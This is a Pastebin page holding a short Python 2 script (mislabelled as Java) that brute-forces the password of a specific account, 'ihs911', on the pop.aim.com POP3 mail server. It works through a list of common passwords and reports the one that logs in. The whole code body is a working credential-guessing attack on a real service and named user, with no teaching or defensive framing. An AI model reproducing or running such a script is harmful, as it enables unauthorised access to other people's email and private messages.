Advertisement
Guest User

Untitled

a guest
Jun 9th, 2017
283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 0.68 KB | None | 0 0
  1. import sys, poplib, time
  2. #server is pop.aim.com
  3. text = open('mostCommon.txt').read().split("\n")
  4.  
  5. for line in text:
  6.     if len(line) > 5 and len(line) < 17:
  7.         username = 'ihs911'
  8.         #time.sleep(3)
  9.         ok = poplib.POP3('pop.aim.com')
  10.         #time.sleep(3)
  11.         print 'Welcome, we are in : ' + ok.getwelcome()
  12.        
  13.         ok.user(username)
  14.        
  15.        
  16.         password = line
  17.         print 'Trying as the password : ' + password
  18.        
  19.         try:
  20.         #   time.sleep(3)
  21.             response = ok.pass_(password)
  22.             print response
  23.             print ok.stat()
  24.             break
  25.         except:
  26.             print 'That password was wrong'
  27.             ok.quit()
  28.     else:
  29.         print 'Length of line was not sufficient : ' + line
  30.    
  31. ok.quit()
  32. print 'Password found, it is :' + password
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement